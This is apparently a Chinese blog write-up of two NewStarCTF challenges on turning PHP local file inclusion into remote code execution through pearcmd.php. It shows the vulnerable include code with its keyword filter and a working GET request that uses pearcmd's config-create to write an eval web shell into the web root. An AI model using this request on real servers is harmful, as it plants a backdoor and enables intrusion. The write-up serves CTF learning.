LFI to RCE [NewStarCtf]Include 🍐
记录一个没见过的RCE类型题目。先看源码:
点击查看代码
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

发现是假flag,到这里时我没思路了,因为协议基本都用不了。看了wp发现这个假flag是个提示,说是检查register_argc_argv这个东西,那就看看,发现这个东西是开启状态的,那就去搜搜与它相干的漏洞。搜到了LFI TO RCE之pearcmd.php利用。这个东西是pecl的类库,用于管理扩展而使用的命令行工具。在docker容器中是被默认安装的,在php7.3之前是默认安装的,7.4及以后需要指定安装。在其源码中会将$_SERVER[‘argv’]当作参数执行,这样就给了我们可以命令执行的可能,例如http://xxxxx/index.php?system+ls 会返回当前目录下东西,+为分隔符不能去掉。
所以payload为:
点击查看代码
发GET包
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
config-create是pearcmd.php的参数,用于创建默认配置文件。意思就是讲<?=eval($_POST[1])?>写到/var/www/html/路径下的a.php,没有则创建一个。
再做一个[NewStarCTF]IncludeTwo,进入页面给出源码
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}


利用tee命令是因为没有回显,将输出转到其他文件中。再访问1.php即可得到flag。

浙公网安备 33010602011771号